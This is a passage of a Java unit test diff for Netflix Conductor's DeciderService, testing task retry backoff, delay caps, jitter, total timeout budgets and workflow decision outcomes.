task3 = new TaskModel(); + task3.getInputData().putAll(taskInput); + task3.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + task3.setTaskId("t1"); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + exception.expect(TerminateWorkflowException.class); + deciderService.retry(taskDef, workflowTask, task3, workflow); + } + + @SuppressWarnings("unchecked") + @Test + public void testWorkflowTaskRetry() { + WorkflowModel workflow = createDefaultWorkflow(); + + workflow.getWorkflowDefinition().setSchemaVersion(2); + + Map inputParams = new HashMap<>(); + inputParams.put("workflowInputParam", "${workflow.input.requestId}"); + inputParams.put("taskOutputParam", "${task2.output.location}"); + inputParams.put("constParam", "Some String value"); + inputParams.put("nullValue", null); + inputParams.put("task2Status", "${task2.status}"); + inputParams.put("null", null); + inputParams.put("task_id", "${CPEWF_TASK_ID}"); + + Map env = new HashMap<>(); + env.put("env_task_id", "${CPEWF_TASK_ID}"); + inputParams.put("env", env); + + Map taskInput = + parametersUtils.getTaskInput(inputParams, workflow, null, "t1"); + + // Create a first failed task + TaskModel task = new TaskModel(); + task.getInputData().putAll(taskInput); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + assertEquals(3, taskDef.getRetryCount()); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.getInputParameters().put("task_id", "${CPEWF_TASK_ID}"); + workflowTask.getInputParameters().put("env", env); + workflowTask.setRetryCount(1); + + // Retry the failed task and assert that a new one has been created + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals("t1", task.getInputData().get("task_id")); + assertEquals( + "t1", ((Map) task.getInputData().get("env")).get("env_task_id")); + + assertNotSame(task.getTaskId(), task2.get().getTaskId()); + assertEquals(task2.get().getTaskId(), task2.get().getInputData().get("task_id")); + assertEquals( + task2.get().getTaskId(), + ((Map) task2.get().getInputData().get("env")).get("env_task_id")); + + // Set the retried task to FAILED, retry it again and assert that the workflow + // failed + task2.get().setStatus(TaskModel.Status.FAILED); + exception.expect(TerminateWorkflowException.class); + final Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + + assertFalse(task3.isPresent()); + assertEquals(WorkflowModel.Status.FAILED, workflow.getStatus()); + } + + @Test + public void testLinearBackoff() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.LINEAR_BACKOFF); + taskDef.setBackoffScaleFactor(2); + WorkflowTask workflowTask = new WorkflowTask(); + + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(120, task2.get().getCallbackAfterSeconds()); // 60*2*1 + + Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + assertEquals(240, task3.get().getCallbackAfterSeconds()); // 60*2*2 + + Optional task4 = + deciderService.retry(taskDef, workflowTask, task3.get(), workflow); + // // 60*2*3 + assertEquals(360, task4.get().getCallbackAfterSeconds()); // 60*2*3 + + taskDef.setRetryCount(Integer.MAX_VALUE); + task4.get().setRetryCount(Integer.MAX_VALUE - 100); + Optional task5 = + deciderService.retry(taskDef, workflowTask, task4.get(), workflow); + assertEquals(Integer.MAX_VALUE, task5.get().getCallbackAfterSeconds()); + } + + @Test + public void testExponentialBackoff() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.EXPONENTIAL_BACKOFF); + WorkflowTask workflowTask = new WorkflowTask(); + + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(60, task2.get().getCallbackAfterSeconds()); + + Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + assertEquals(120, task3.get().getCallbackAfterSeconds()); + + Optional task4 = + deciderService.retry(taskDef, workflowTask, task3.get(), workflow); + assertEquals(240, task4.get().getCallbackAfterSeconds()); + + taskDef.setRetryCount(Integer.MAX_VALUE); + task4.get().setRetryCount(Integer.MAX_VALUE - 100); + Optional task5 = + deciderService.retry(taskDef, workflowTask, task4.get(), workflow); + assertEquals(Integer.MAX_VALUE, task5.get().getCallbackAfterSeconds()); + } + + @Test + public void testExponentialBackoffWithMaxDelayCap() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.EXPONENTIAL_BACKOFF); + taskDef.setMaxRetryDelaySeconds(200); // cap at 200 s + WorkflowTask workflowTask = new WorkflowTask(); + + // retry 0: 60 * 2^0 = 60 — below cap + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(60, task2.get().getCallbackAfterSeconds()); + + // retry 1: 60 * 2^1 = 120 — below cap + Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + assertEquals(120, task3.get().getCallbackAfterSeconds()); + + // retry 2: 60 * 2^2 = 240 — exceeds cap, should be clamped to 200 + Optional task4 = + deciderService.retry(taskDef, workflowTask, task3.get(), workflow); + assertEquals(200, task4.get().getCallbackAfterSeconds()); + + // retry 3: 60 * 2^3 = 480 — still capped at 200 + Optional task5 = + deciderService.retry(taskDef, workflowTask, task4.get(), workflow); + assertEquals(200, task5.get().getCallbackAfterSeconds()); + } + + @Test + public void testLinearBackoffWithMaxDelayCap() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.LINEAR_BACKOFF); + taskDef.setBackoffScaleFactor(2); + taskDef.setMaxRetryDelaySeconds(250); // cap at 250 s + WorkflowTask workflowTask = new WorkflowTask(); + + // retry 0: 60 * 2 * 1 = 120 — below cap + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(120, task2.get().getCallbackAfterSeconds()); + + // retry 1: 60 * 2 * 2 = 240 — below cap + Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + assertEquals(240, task3.get().getCallbackAfterSeconds()); + + // retry 2: 60 * 2 * 3 = 360 — exceeds cap, should be clamped to 250 + Optional task4 = + deciderService.retry(taskDef, workflowTask, task3.get(), workflow); + assertEquals(250, task4.get().getCallbackAfterSeconds()); + + // retry 3: 60 * 2 * 4 = 480 — still capped at 250 + Optional task5 = + deciderService.retry(taskDef, workflowTask, task4.get(), workflow); + assertEquals(250, task5.get().getCallbackAfterSeconds()); + } + + @Test + public void testJitterAddedToRetryDelay() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setBackoffJitterMs(5000); // up to 5 000 ms of jitter + WorkflowTask workflowTask = new WorkflowTask(); + + Optional retried = deciderService.retry(taskDef, workflowTask, task, workflow); + + // callbackAfterSeconds stays at the base delay + assertEquals(60, retried.get().getCallbackAfterSeconds()); + // callbackAfterMs must be in [60_000, 65_000] + long callbackMs = retried.get().getCallbackAfterMs(); + assertTrue("callbackAfterMs should be >= base delay ms", callbackMs >= 60_000); + assertTrue( + "callbackAfterMs should be <= base delay ms + maxJitterMs", callbackMs <= 65_000); + } + + @Test + public void testJitterZeroMeansNoJitter() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setBackoffJitterMs(0); // no jitter + WorkflowTask workflowTask = new WorkflowTask(); + + Optional retried = deciderService.retry(taskDef, workflowTask, task, workflow); + + assertEquals(60, retried.get().getCallbackAfterSeconds()); + assertEquals(60_000, retried.get().getCallbackAfterMs()); + } + + @Test + public void testRetryClearsStaleOutputArtifacts() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + task.setUpdateTime(12345L); + task.setExternalOutputPayloadStoragePath("old-output.json"); + task.getOutputData().put("result", "stale"); + task.getInputData().put("subWorkflowId", "old-subworkflow-id"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(0); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + WorkflowTask workflowTask = new WorkflowTask(); + + Optional retried = deciderService.retry(taskDef, workflowTask, task, workflow); + + assertEquals(0, retried.get().getUpdateTime()); + assertNull(retried.get().getExternalOutputPayloadStoragePath()); + assertTrue(retried.get().getOutputData().isEmpty()); + assertFalse(retried.get().getInputData().containsKey("subWorkflowId")); + } + + @Test + public void testJitterWithExponentialBackoff() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(10); + taskDef.setRetryLogic(TaskDef.RetryLogic.EXPONENTIAL_BACKOFF); + taskDef.setBackoffJitterMs(2000); // up to 2 000 ms of jitter + WorkflowTask workflowTask = new WorkflowTask(); + + // retry 0: base = 10 * 2^0 = 10 s → callbackAfterMs in [10_000, 12_000] + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(10, task2.get().getCallbackAfterSeconds()); + assertTrue(task2.get().getCallbackAfterMs() >= 10_000); + assertTrue(task2.get().getCallbackAfterMs() <= 12_000); + + // retry 1: base = 10 * 2^1 = 20 s → callbackAfterMs in [20_000, 22_000] + Optional task3 = + deciderService.retry(taskDef, workflowTask, task2.get(), workflow); + assertEquals(20, task3.get().getCallbackAfterSeconds()); + assertTrue(task3.get().getCallbackAfterMs() >= 20_000); + assertTrue(task3.get().getCallbackAfterMs() <= 22_000); + } + + /** Boundary: maxRetryDelaySeconds=0 means cap is disabled — delays grow uncapped. */ + @Test + public void testMaxRetryDelaySeconds_zeroMeansNoCap() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(10); + taskDef.setRetryLogic(TaskDef.RetryLogic.EXPONENTIAL_BACKOFF); + taskDef.setMaxRetryDelaySeconds(0); // disabled + WorkflowTask workflowTask = new WorkflowTask(); + + // retry 0: 10s; retry 1: 20s; retry 2: 40s — all uncapped + Optional t1 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(10, t1.get().getCallbackAfterSeconds()); + + Optional t2 = deciderService.retry(taskDef, workflowTask, t1.get(), workflow); + assertEquals(20, t2.get().getCallbackAfterSeconds()); + + Optional t3 = deciderService.retry(taskDef, workflowTask, t2.get(), workflow); + assertEquals( + "cap=0 must be treated as disabled: 10*2^2=40s is NOT capped", + 40, + t3.get().getCallbackAfterSeconds()); + } + + /** Boundary: cap < retryDelaySeconds — cap fires immediately from the first retry. */ + @Test + public void testMaxRetryDelaySeconds_capLessThanBaseDelay() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(60); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setMaxRetryDelaySeconds(10); // cap < base + WorkflowTask workflowTask = new WorkflowTask(); + + Optional t1 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals( + "FIXED base=60s must be capped to 10s immediately", + 10, + t1.get().getCallbackAfterSeconds()); + + Optional t2 = deciderService.retry(taskDef, workflowTask, t1.get(), workflow); + assertEquals( + "All subsequent retries must also be capped at 10s", + 10, + t2.get().getCallbackAfterSeconds()); + } + + /** Boundary: jitterMs=1 (minimum non-zero) — callbackAfterMs is base or base+1. */ + @Test + public void testJitterMs_minimumOneMs() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(30); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setBackoffJitterMs(1); + WorkflowTask workflowTask = new WorkflowTask(); + + Optional retried = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals(30, retried.get().getCallbackAfterSeconds()); + // callbackAfterMs must be in [30_000, 30_001] + assertTrue(retried.get().getCallbackAfterMs() >= 30_000); + assertTrue( + "With jitter=1ms, callbackAfterMs must be in [30000, 30001]; was " + + retried.get().getCallbackAfterMs(), + retried.get().getCallbackAfterMs() <= 30_001); + } + + /** Statistical: multiple retries with jitter produce different callbackAfterMs values. */ + @Test + public void testJitter_producesVariance() { + WorkflowModel workflow = createDefaultWorkflow(); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(20); + taskDef.setRetryDelaySeconds(10); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setBackoffJitterMs(2000); + WorkflowTask workflowTask = new WorkflowTask(); + + // Collect callbackAfterMs from 10 independent retry calls + java.util.Set distinctMs = new java.util.HashSet<>(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t0"); + task.setRetryCount(0); + + for (int i = 0; i < 10; i++) { + TaskModel t = new TaskModel(); + t.setStatus(TaskModel.Status.FAILED); + t.setTaskId("t-" + i); + t.setRetryCount(0); + distinctMs.add( + deciderService + .retry(taskDef, workflowTask, t, workflow) + .get() + .getCallbackAfterMs()); + } + + // With 2000ms jitter over 10 retries, getting 10 identical values is astronomically + // unlikely + assertTrue( + "jitter must produce variance across multiple retries; all 10 had same callbackAfterMs", + distinctMs.size() > 1); + } + + // ------------------------------------------------------------------------- + // totalTimeoutSeconds + // ------------------------------------------------------------------------- + + @Test + public void testCheckTotalTimeout_notExceeded_noTimeout() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setFirstScheduledTime(System.currentTimeMillis()); // just now — not exceeded + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(60); + + // Should be a no-op; task status must remain IN_PROGRESS + deciderService.checkTotalTimeout(taskDef, task); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + } + + @Test + public void testCheckTotalTimeout_exceeded_timesOutTask() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + // Push firstScheduledTime far into the past so the budget is exhausted + task.setFirstScheduledTime(System.currentTimeMillis() - 120_000); // 120s ago + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(60); // budget = 60s, elapsed > 60s + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY); + + deciderService.checkTotalTimeout(taskDef, task); + assertEquals( + "RETRY policy sets task to TIMED_OUT", + TaskModel.Status.TIMED_OUT, + task.getStatus()); + } + + @Test(expected = com.netflix.conductor.core.exception.TerminateWorkflowException.class) + public void testCheckTotalTimeout_exceeded_timeOutWfPolicy_terminatesWorkflow() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setFirstScheduledTime(System.currentTimeMillis() - 120_000); + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(60); + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.TIME_OUT_WF); + + deciderService.checkTotalTimeout(taskDef, task); // must throw + } + + @Test + public void testCheckTotalTimeout_zeroDisabled_noTimeout() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setFirstScheduledTime(System.currentTimeMillis() - 120_000); // way past any sane limit + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(0); // disabled + + deciderService.checkTotalTimeout(taskDef, task); + assertEquals( + "totalTimeoutSeconds=0 means disabled; status must be unchanged", + TaskModel.Status.IN_PROGRESS, + task.getStatus()); + } + + @Test + public void testCheckTotalTimeout_firstScheduledTimeZero_skipped() { + // Tasks created before firstScheduledTime was introduced have value 0 — + // the check must be skipped for backward compatibility. + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setFirstScheduledTime(0); // pre-feature task + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(1); // very tight budget + + deciderService.checkTotalTimeout(taskDef, task); + assertEquals( + "firstScheduledTime=0 must be skipped for backward compat", + TaskModel.Status.IN_PROGRESS, + task.getStatus()); + } + + @Test(expected = com.netflix.conductor.core.exception.TerminateWorkflowException.class) + public void testRetry_totalTimeoutExceeded_preventsRetry() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + task.setReasonForIncompletion("test failure"); + task.setFirstScheduledTime(System.currentTimeMillis() - 200_000); // 200s ago + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); // plenty of retries left + taskDef.setRetryDelaySeconds(1); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setTotalTimeoutSeconds(60); // budget = 60s, elapsed = 200s → exceeded + WorkflowTask workflowTask = new WorkflowTask(); + + // Must throw TerminateWorkflowException — total timeout exceeded, no retry + deciderService.retry(taskDef, workflowTask, task, workflow); + } + + @Test + public void testRetry_totalTimeoutNotYetExceeded_retriesNormally() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + task.setReasonForIncompletion("test failure"); + task.setFirstScheduledTime(System.currentTimeMillis()); // just now — budget not exhausted + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(1); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setTotalTimeoutSeconds(3600); // 1 hour budget — far from exceeded + WorkflowTask workflowTask = new WorkflowTask(); + + Optional retried = deciderService.retry(taskDef, workflowTask, task, workflow); + assertTrue("retry must succeed when total budget is not exhausted", retried.isPresent()); + assertEquals(1, retried.get().getRetryCount()); + } + + /** ALERT_ONLY policy: checkTotalTimeout should only log — task must remain unchanged. */ + @Test + public void testCheckTotalTimeout_alertOnlyPolicy_onlyLogs() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("t1"); + task.setTaskDefName("test"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setFirstScheduledTime(System.currentTimeMillis() - 120_000); + + TaskDef taskDef = new TaskDef(); + taskDef.setTotalTimeoutSeconds(60); + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.ALERT_ONLY); + + deciderService.checkTotalTimeout(taskDef, task); + // ALERT_ONLY must NOT change task status — it only logs + assertEquals( + "ALERT_ONLY must not change task status", + TaskModel.Status.IN_PROGRESS, + task.getStatus()); + } + + /** + * When a worker explicitly fails a task and the total budget is already exhausted, the retry() + * guard throws TerminateWorkflowException regardless of the per-attempt policy. This documents + * the intended behavior: totalTimeoutSeconds is a hard budget; the per-attempt timeoutPolicy + * controls single-attempt timeouts, not the total limit. + */ + @Test(expected = com.netflix.conductor.core.exception.TerminateWorkflowException.class) + public void testRetry_totalTimeoutExceeded_alertOnlyPolicy_stillTerminates() { + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); // worker explicitly failed it + task.setTaskId("t1"); + task.setReasonForIncompletion("worker failure"); + task.setFirstScheduledTime(System.currentTimeMillis() - 200_000); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(10); + taskDef.setRetryDelaySeconds(1); + taskDef.setRetryLogic(TaskDef.RetryLogic.FIXED); + taskDef.setTotalTimeoutSeconds(60); + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.ALERT_ONLY); + WorkflowTask workflowTask = new WorkflowTask(); + + // Must throw — total budget exhausted regardless of ALERT_ONLY policy + deciderService.retry(taskDef, workflowTask, task, workflow); + } + + @Test(expected = com.netflix.conductor.core.exception.TerminateWorkflowException.class) + public void testRetry_totalTimeoutZero_doesNotPreventRetry() { + // totalTimeoutSeconds=0 means disabled — retries must still be allowed (up to retryCount). + // When retryCount is 0, the task fails terminally as usual (TerminateWorkflowException), + // but NOT because of total timeout. + WorkflowModel workflow = createDefaultWorkflow(); + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + task.setReasonForIncompletion("failure"); + task.setFirstScheduledTime(System.currentTimeMillis() - 200_000); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount( + 0); // no retries — will throw, but due to retryCount=0, not total timeout + taskDef.setTotalTimeoutSeconds(0); // disabled + WorkflowTask workflowTask = new WorkflowTask(); + + deciderService.retry(taskDef, workflowTask, task, workflow); + } + + @Test + public void testFork() throws IOException { + InputStream stream = TestDeciderService.class.getResourceAsStream("/test.json"); + WorkflowModel workflow = objectMapper.readValue(stream, WorkflowModel.class); + + DeciderOutcome outcome = deciderService.decide(workflow); + assertFalse(outcome.isComplete); + assertEquals(5, outcome.tasksToBeScheduled.size()); + assertEquals(1, outcome.tasksToBeUpdated.size()); + } + + @Test + public void testDecideSuccessfulWorkflow() { + WorkflowDef workflowDef = createLinearWorkflow(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + TaskModel task1 = new TaskModel(); + task1.setTaskType("junit_task_l1"); + task1.setReferenceTaskName("s1"); + task1.setSeq(1); + task1.setRetried(false); + task1.setExecuted(false); + task1.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().add(task1); + + DeciderOutcome deciderOutcome = deciderService.decide(workflow); + assertNotNull(deciderOutcome); + + assertFalse(workflow.getTaskByRefName("s1").isRetried()); + assertEquals(1, deciderOutcome.tasksToBeUpdated.size()); + assertEquals("s1", deciderOutcome.tasksToBeUpdated.get(0).getReferenceTaskName()); + assertEquals(1, deciderOutcome.tasksToBeScheduled.size()); + assertEquals("s2", deciderOutcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertFalse(deciderOutcome.isComplete); + + TaskModel task2 = new TaskModel(); + task2.setTaskType("junit_task_l2"); + task2.setReferenceTaskName("s2"); + task2.setSeq(2); + task2.setRetried(false); + task2.setExecuted(false); + task2.setStatus(TaskModel.Status.COMPLETED); + workflow.getTasks().add(task2); + + deciderOutcome = deciderService.decide(workflow); + assertNotNull(deciderOutcome); + assertTrue(workflow.getTaskByRefName("s2").isExecuted()); + assertFalse(workflow.getTaskByRefName("s2").isRetried()); + assertEquals(1, deciderOutcome.tasksToBeUpdated.size()); + assertEquals("s2", deciderOutcome.tasksToBeUpdated.get(0).getReferenceTaskName()); + assertEquals(0, deciderOutcome.tasksToBeScheduled.size()); + assertTrue(deciderOutcome.isComplete); + } + + @Test + public void testDecideWithLoopTask() { + WorkflowDef workflowDef = createLinearWorkflow(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + TaskModel task1 = new TaskModel(); + task1.setTaskType("junit_task_l1"); + task1.setReferenceTaskName("s1"); + task1.setSeq(1); + task1.setIteration(1); + task1.setRetried(false); + task1.setExecuted(false); + task1.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().add(task1); + + DeciderOutcome deciderOutcome = deciderService.decide(workflow); + assertNotNull(deciderOutcome); + + assertFalse(workflow.getTaskByRefName("s1").isRetried()); + assertEquals(1, deciderOutcome.tasksToBeUpdated.size()); + assertEquals("s1", deciderOutcome.tasksToBeUpdated.get(0).getReferenceTaskName()); + assertEquals(1, deciderOutcome.tasksToBeScheduled.size()); + assertEquals("s2__1", deciderOutcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertFalse(deciderOutcome.isComplete); + } + + @Test + public void testDecideFailedTask() { + WorkflowDef workflowDef = createLinearWorkflow(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + TaskModel task = new TaskModel(); + task.setTaskType("junit_task_l1"); + task.setReferenceTaskName("s1"); + task.setSeq(1); + task.setRetried(false); + task.setExecuted(false); + task.setStatus(TaskModel.Status.FAILED); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("s1"); + workflowTask.setName("junit_task_l1"); + workflowTask.setTaskDefinition(new TaskDef("junit_task_l1")); + task.setWorkflowTask(workflowTask); + + workflow.getTasks().add(task); + + DeciderOutcome deciderOutcome = deciderService.decide(workflow); + assertNotNull(deciderOutcome); + assertFalse(workflow.getTaskByRefName("s1").isExecuted()); + assertTrue(workflow.getTaskByRefName("s1").isRetried()); + assertEquals(1, deciderOutcome.tasksToBeUpdated.size()); + assertEquals("s1", deciderOutcome.tasksToBeUpdated.get(0).getReferenceTaskName()); + assertEquals(1, deciderOutcome.tasksToBeScheduled.size()); + assertEquals("s1", deciderOutcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertFalse(deciderOutcome.isComplete); + } + + @Test + public void testDecideDoesNotFailScheduledSubWorkflowTask() { + WorkflowTask subWorkflowTask = new WorkflowTask(); + subWorkflowTask.setName("child_workflow"); + subWorkflowTask.setTaskReferenceName("sub1"); + subWorkflowTask.setType(SUB_WORKFLOW.name()); + subWorkflowTask.setTaskDefinition(new TaskDef("child_workflow")); + subWorkflowTask.setSubWorkflowParam(new SubWorkflowParams()); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("scheduled_subworkflow_workflow"); + workflowDef.setVersion(1); + workflowDef.setTasks(Collections.singletonList(subWorkflowTask)); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + TaskModel task = new TaskModel(); + task.setTaskType(TaskType.TASK_TYPE_SUB_WORKFLOW); + task.setTaskDefName("child_workflow"); + task.setReferenceTaskName("sub1"); + task.setSeq(1); + task.setRetried(false); + task.setExecuted(false); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setWorkflowTask(subWorkflowTask); + + workflow.getTasks().add(task); + + DeciderOutcome outcome = deciderService.decide(workflow); + + assertNotNull(outcome); + assertFalse(outcome.isComplete); + assertTrue(outcome.tasksToBeUpdated.isEmpty()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + assertEquals("sub1", outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + } + + @Test + public void testGetTasksToBeScheduled() { + WorkflowDef workflowDef = createLinearWorkflow(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + WorkflowTask workflowTask1 = new WorkflowTask(); + workflowTask1.setName("s1"); + workflowTask1.setTaskReferenceName("s1"); + workflowTask1.setType(SIMPLE.name()); + workflowTask1.setTaskDefinition(new TaskDef("s1")); + + List tasksToBeScheduled = + deciderService.getTasksToBeScheduled(workflow, workflowTask1, 0, null); + assertNotNull(tasksToBeScheduled); + assertEquals(1, tasksToBeScheduled.size()); + assertEquals("s1", tasksToBeScheduled.get(0).getReferenceTaskName()); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("s2"); + workflowTask2.setTaskReferenceName("s2"); + workflowTask2.setType(SIMPLE.name()); + workflowTask2.setTaskDefinition(new TaskDef("s2")); + tasksToBeScheduled = deciderService.getTasksToBeScheduled(workflow, workflowTask2, 0, null); + assertNotNull(tasksToBeScheduled); + assertEquals(1, tasksToBeScheduled.size()); + assertEquals("s2", tasksToBeScheduled.get(0).getReferenceTaskName()); + } + + @Test + public void testIsResponseTimedOut() { + TaskDef taskDef = new TaskDef(); 